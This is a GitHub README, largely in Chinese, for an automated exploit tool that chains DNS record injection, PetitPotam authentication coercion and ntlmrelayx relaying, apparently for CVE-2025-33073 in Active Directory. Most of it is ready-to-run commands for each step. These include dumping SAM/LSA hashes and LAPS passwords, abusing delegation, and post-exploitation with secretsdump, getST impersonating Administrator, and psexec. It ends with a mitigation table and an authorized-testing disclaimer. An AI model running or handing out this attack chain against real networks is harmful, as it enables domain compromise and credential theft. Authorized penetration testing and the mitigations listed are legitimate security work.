EgCupCake/cupntlm-Automated-Exploit-For-CVE-2025-33073-
GitHub: EgCupCake/cupntlm-Automated-Exploit-For-CVE-2025-33073-
将 CVE-2025-33073 的 DNS 注入、身份验证诱导和 NTLM 中继攻击链自动化整合的一站式域渗透工具。
Stars: 2 | Forks: 0
# cupntlm
## 概述
**cupntlm** 自动化了滥用 CVE-2025-33073 的 NTLM 反射/中继攻击链。它将 DNS 记录注入、强制身份验证诱导 和 NTLM 中继整合到一个单一的工作流中。根据范围和隐蔽性需求,该工具支持两种操作模式。
### 攻击链概要
```
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
```
**目标网络上的前置条件:**
- 中继目标上的 SMB 签名被**禁用**
- 一个有效的低权限域账户(只读权限即可)
- 拥有访问域控制器的网络权限(389 端口 LDAP,445 端口 SMB)
## 环境要求
### 系统软件包
| 工具 | 用途 |
|------|---------|
| `python3` | 运行时环境 |
| `pip3` | Python 包管理器 |
| `git` | 克隆依赖 |
| `wget` | 下载文件 |
| `nmap` | SMB 签名枚举 |
| `netexec` / `crackmapexec` | SMB 签名检查(可选) |
### Python 库
| 库 | 安装 |
|---------|---------|
| `impacket` | `pip3 install impacket --break-system-packages` |
| `colorama` | `pip3 install colorama --break-system-packages` |
| `dnspython` | `pip3 install dnspython --break-system-packages` |
### exploit/ 目录内容(由 setup.sh 自动生成)
```
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
```
## 安装
```
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
```
## 用法
### 检查模式 — 验证攻击可行性
在尝试任何操作之前,检查目标的 SMB 签名状态并验证域凭据。
```
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
```
### 单目标模式 — 每台主机使用独立的 DNS 记录
为每个目标创建唯一的 DNS 记录,逐一触发诱导,并在每次迭代之间清理记录。速度较慢,但更精确且留下的痕迹更少。
```
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
```
### 单一模式 — 单个 DNS 记录,持久中继
注入单个 DNS 记录,并在遍历所有目标时保持 ntlmrelayx 持续运行。适合大规模范围,速度更快。
```
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
```
### targets.txt 格式
```
192.168.1.10
192.168.1.11
192.168.1.12
```
## 手动漏洞利用
以下步骤在不使用 `cupntlm.py` 的情况下手动复现完整的攻击链。这有助于理解攻击原语、调试或适应非标准环境。
### 步骤 1 — 枚举 SMB 签名
识别禁用了 SMB 签名的主机。这些是有效的中继目标。
```
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
```
或者使用 nmap:
```
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
```
查找:
```
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
```
### 步骤 2 — 注入恶意 DNS 记录
使用 `dnstool.py` 在域的 DNS 中添加一条 A 记录,将一个主机名指向你的机器。当目标解析该主机名并进行身份验证时,请求会落到你的中继监听器上。
```
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
```
验证记录是否已添加:
```
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
```
### 步骤 3 — 启动 NTLM 中继监听器
在触发诱导之前启动 `ntlmrelayx.py`。它将驻留并等待传入的身份验证。
**中继到 SMB — 转储 SAM/LSA:**
```
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
```
**中继到 LDAP — 创建一个新的机器账户(用于 RBCD / shadow credentials):**
```
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
```
**中继到 LDAPS — 转储域机密:**
```
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
```
### 步骤 4 — 使用 PetitPotam 诱导身份验证
触发目标机器向出站到你注入的 DNS 记录进行身份验证。PetitPotam 滥用 MS-EFSRPC 接口 — 对于未打补丁的主机不需要凭据,或者对于已打补丁的主机使用有效的凭据。
**未经身份验证(未打补丁的目标):**
```
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
```
**经过身份验证(已打补丁的目标,需要有效凭据):**
```
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
```
此时,被诱导的主机将其 NTLM 身份验证发送到你的机器 → `ntlmrelayx` 捕获并将其转发。
### 步骤 5 — 收集输出
根据你在步骤 3 中选择的中继目标:
- **SMB 中继** → ntlmrelayx 将哈希转储到 stdout,并写入 `_samhashes.txt` / `_lsahashes.txt`
- **LDAP delegate-access** → ntlmrelayx 打印创建的机器账户名和密码;随后使用 `getST.py` 获取服务票据
- **LDAPS dump** → 直接打印 LAPS 密码
### 步骤 6 — 清理 DNS 记录
在操作结束后,务必删除注入的 DNS 记录。
```
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
```
## 后渗透示例
**使用中继的机器账户进行 Pass-the-hash:**
```
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:
```
**获取用于 S4U2Self 的服务票据(RBCD 之后):**
```
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
```
**使用该票据:**
```
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
```
## 缓解措施
| 控制措施 | 效果 |
|--------|--------|
| 在所有主机上启用 SMB 签名(必需) | 阻止中继到 SMB |
| 启用 LDAP 签名 + 通道绑定 | 阻止中继到 LDAP/LDAPS |
| 为 MS-EFSRPC 打补丁 (KB5005413) | 阻止未经身份验证的 PetitPotam |
| 将 DNS 记录创建权限限制为管理员 | 阻止 DNS 注入步骤 |
| 禁用 NTLM 网络身份验证(首选 Kerberos) | 消除整类攻击 |
## 免责声明
本工具仅用于**授权的渗透测试和安全研究**。
请勿在未获得明确书面测试许可的系统上使用。
## 致谢
- [fortra/impacket](https://github.com/fortra/impacket) — ntlmrelayx
- [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx) — dnstool
- [topotam/PetitPotam](https://github.com/topotam/PetitPotam) — EFS coercion
标签:Active Directory, AD域安全, Conpot, CVE-2025-33073, DNS枚举, DNS记录注入, ntlmrelayx, NTLM反射, PetitPotam, Plaso, Python3, SecretsDump, SMB签名, Windows安全, 中间人攻击, 凭据窃取, 协议分析, 强制认证, 攻击路径可视化, 权限提升, 横向移动, 活动目录, 编程规范, 网络安全, 网络安全工具, 隐私保护, 黑客工具